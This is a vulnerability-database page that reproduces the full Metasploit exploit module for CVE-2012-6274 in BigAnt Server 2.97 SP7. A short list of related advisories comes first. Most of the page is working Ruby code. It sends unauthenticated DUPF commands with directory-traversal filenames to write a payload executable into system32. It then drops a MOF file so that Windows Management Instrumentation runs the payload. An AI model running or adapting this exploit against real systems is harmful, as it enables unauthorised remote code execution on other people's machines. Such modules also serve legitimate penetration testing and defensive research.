Lucene search
K

BigAnt Server DUPF Command Arbitrary File Upload

🗓️ 17 Feb 2013 19:25:39Reported by Hamburgers Maccoy, juan vazquez <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 33 Views

BigAnt Server DUPF Command Arbitrary File Upload vulnerability without authentication enabling unauthenticated file uploads and directory traversal attack on Windows XP and 200

Related
Code
ReporterTitlePublishedViews
Family
0day.today
BigAnt Server DUPF Command Arbitrary File Upload Vulnerability
20 Feb 201300:00
zdt
Circl
CVE-2012-6274
20 Feb 201300:00
circl
Check Point Advisories
BigAnt Server DUPF Command Arbitrary File Upload (CVE-2012-6274)
18 Apr 201300:00
checkpoint_advisories
CVE
CVE-2012-6274
24 Feb 201311:00
cve
Cvelist
CVE-2012-6274
24 Feb 201311:00
cvelist
Exploit DB
BigAnt Server 2.97 - DUPF Command Arbitrary File Upload (Metasploit)
20 Feb 201300:00
exploitdb
NVD
CVE-2012-6274
24 Feb 201311:48
nvd
OpenVAS
BigAntSoft BigAnt IM Message Server Multiple Vulnerabilities
4 Mar 201300:00
openvas
Packet Storm
BigAnt Server DUPF Command Arbitrary File Upload
20 Feb 201300:00
packetstorm
Prion
Authentication flaw
24 Feb 201311:48
prion
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::EXE
  include Msf::Exploit::WbemExec
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'BigAnt Server DUPF Command Arbitrary File Upload',
      'Description'    => %q{
          This exploits an arbitrary file upload vulnerability in BigAnt Server 2.97 SP7.
        A lack of authentication allows to make unauthenticated file uploads through a DUPF
        command. Additionally the filename option in the same command can be used to launch
        a directory traversal attack and achieve arbitrary file upload.

        The module uses the Windows Management Instrumentation service to execute an
        arbitrary payload on vulnerable installations of BigAnt on Windows XP and 2003. It
        has been successfully tested on BigAnt Server 2.97 SP7 over Windows XP SP3 and 2003
        SP2.
      },
      'Author'         =>
        [
          'Hamburgers Maccoy', # Vulnerability discovery
          'juan vazquez'       # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2012-6274' ],
          [ 'US-CERT-VU', '990652' ],
          [ 'BID', '57214' ],
          [ 'OSVDB', '89342' ]
        ],
      'Privileged'     => true,
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'BigAnt Server 2.97 SP7', { } ]
        ],
      'DefaultTarget' => 0,
      'DefaultOptions'  =>
        {
          'WfsDelay' => 10
        },
      'DisclosureDate' => '2013-01-09'))

    register_options(
      [
        Opt::RPORT(6661),
        OptInt.new('DEPTH', [true, "Levels to reach base directory", 6])
      ])

  end

  def upload_file(filename, content)

    random_date = "#{rand_text_numeric(4)}-#{rand_text_numeric(2)}-#{rand_text_numeric(2)} #{rand_text_numeric(2)}:#{rand_text_numeric(2)}:#{rand_text_numeric(2)}"

    dupf = "DUPF 16\n"
    dupf << "cmdid: 1\n"
    dupf << "content-length: #{content.length}\n"
    dupf << "content-type: Appliction/Download\n"
    dupf << "filename: #{"\\.." * datastore['DEPTH']}\\#{filename}\n"
    dupf << "modified: #{random_date}\n"
    dupf << "pclassid: 102\n"
    dupf << "pobjid: 1\n"
    dupf << "rootid: 1\n"
    dupf << "sendcheck: 1\n\n"
    dupf << content

    print_status("sending DUPF")
    connect
    sock.put(dupf)
    res = sock.get_once
    disconnect
    return res

  end

  def exploit

    peer = "#{rhost}:#{rport}"

    # Setup the necessary files to do the wbemexec trick
    exe_name = rand_text_alpha(rand(10)+5) + '.exe'
    exe      = generate_payload_exe
    mof_name = rand_text_alpha(rand(10)+5) + '.mof'
    mof      = generate_mof(mof_name, exe_name)

    print_status("Sending HTTP ConvertFile Request to upload the exe payload #{exe_name}")
    res = upload_file("WINDOWS\\system32\\#{exe_name}", exe)
    if res and res =~ /DUPF/ and res =~ /fileid: (\d+)/
      print_good("#{exe_name} uploaded successfully")
    else
      if res and res =~ /ERR 9/ and res =~ /#{exe_name}/ and res =~ /lasterror: 183/
        print_error("Upload failed, check the DEPTH option")
      end
      fail_with(Failure::UnexpectedReply, "#{peer} - Failed to upload #{exe_name}")
    end

    print_status("Sending HTTP ConvertFile Request to upload the mof file #{mof_name}")
    res = upload_file("WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
    if res and res =~ /DUPF/ and res =~ /fileid: (\d+)/
      print_good("#{mof_name} uploaded successfully")
      register_file_for_cleanup(exe_name)
      register_file_for_cleanup("wbem\\mof\\good\\#{mof_name}")
    else
      if res and res =~ /ERR 9/ and res =~ /#{exe_name}/ and res =~ /lasterror: 183/
        print_error("Upload failed, check the DEPTH option")
      end
      fail_with(Failure::UnexpectedReply, "#{peer} - Failed to upload #{mof_name}")
    end

  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation